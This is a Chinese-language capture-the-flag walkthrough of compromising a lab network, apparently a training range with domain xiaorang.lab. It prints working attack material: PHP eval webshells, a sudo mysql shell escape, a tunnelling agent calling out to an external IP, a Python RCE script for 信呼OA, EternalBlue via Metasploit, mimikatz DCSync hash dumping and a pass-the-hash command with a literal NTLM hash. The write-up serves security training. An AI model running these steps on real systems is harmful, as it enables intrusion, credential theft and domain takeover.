一、外网打点

1.信息收集

（1）端口扫描

使用Tscan进行扫描

发现开启了SSH和HTTP服务

（2）指纹识别

使用EHole进行识别

根据信息和图标可知是ThinkPHP

2.漏洞发现

使用工具进行探测，发现漏洞

3.漏洞利用

执行命令(因为getshell功能不行)

echo '<?php @eval($_POST["x"]); ?>' >shell.php

使用蚁剑连接，成功

执行whoami命令，查看权限

发现是www-data网站用户权限，需要提权

3.提权

使用命令，显示出自己(执行sudo的使用者)的权限

sudo -l

发现mysql可以提权，使用命令进行提权

sudo mysql -e '\! /bin/sh'

查找flag文件

sudo mysql -e '\! find / -name flag*'

发现/root/flag/flag01.txt文件

4.获取flag

sudo mysql -e '\! cat /root/flag/flag01.txt'

flag01: flag{60b53231-

二、内网渗透

查看内网IP

1.内网信息收集

使用fscan进行信息收集

sudo mysql -e '\! ./fscan -h 172.22.1.0/24'

172.22.1.21是个存在永恒之蓝的Win7
172.22.1.18是个信呼OA的系统
172.22.1.2是个域控

2.Socks代理搭建

使用Stowaway搭建代理
在攻击机上开启admin

./admin -l 9999

上传agent，赋予执行权限，在目标机器上启动agent

sudo mysql -e '\! ./agent -c 120.79.150.243:9999'

在节点0开启代理

在本地的浏览器代理插件配置代理，代理服务器为开启admin的

在浏览器访问内网IP，成功访问

在kali里配置proxychains的配置文件

在kali里访问内网

3.phpmyAdmin

进行目录扫描，发现phpmyadmin

爆破出密码是root/root

SQL写wedshell

第一步先执行show variables like 'general%';查看是否开启日志以及存放的日志位置
第二步set global general_log = ON;开启日志
第三步set global general_log_file='C:\\phpStudy\\PHPTutorial\\www\\shell.php'
设置日志保存位置
最后select '<?php eval($_POST[cmd]);?>';写入webshell

访问webshell，成功

4.信呼OA Nday

访问目标内网信呼OA成功

尝试出弱口令admin/admin123登录成功

后面查了一下发现信呼OA 存在一个RCE的漏洞
要准备一个1.php放在脚本相同的目录下，内容为一句话木马，内容为:<?=eval($_POST['1']);?>

import requests
session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'YWRtaW4=',
    'adminpass': 'YWRtaW4xMjM=',
    'yanzm': ''
}
r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']
print(id)
print(filepath)
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)

回显出来的就是写进去一句话木马的路径，访问路径就可以执行命令，然后在蚁剑上配置一下代理，如果不配的代理话蚁剑也是没法直接访问到内网的。

flag02: 2ce3-4813-87d4-

5.永恒之蓝攻击win

由前面的fscan扫描结果知道有ms17_010漏洞

使用msf的永恒之蓝模块获取system权限的meterpreter

proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
exploit

加载 mimikatz

load kiwi

获取用户hash

kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit

6.横向移动

‍拿到所有用户的hash，172.22.1.2 的 445 端口开放，利用 smb 哈希传递，直接用 kali 自带的 crackmapexec攻击

proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

flag03: e8f88d0d43d6}

flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}

成功攻克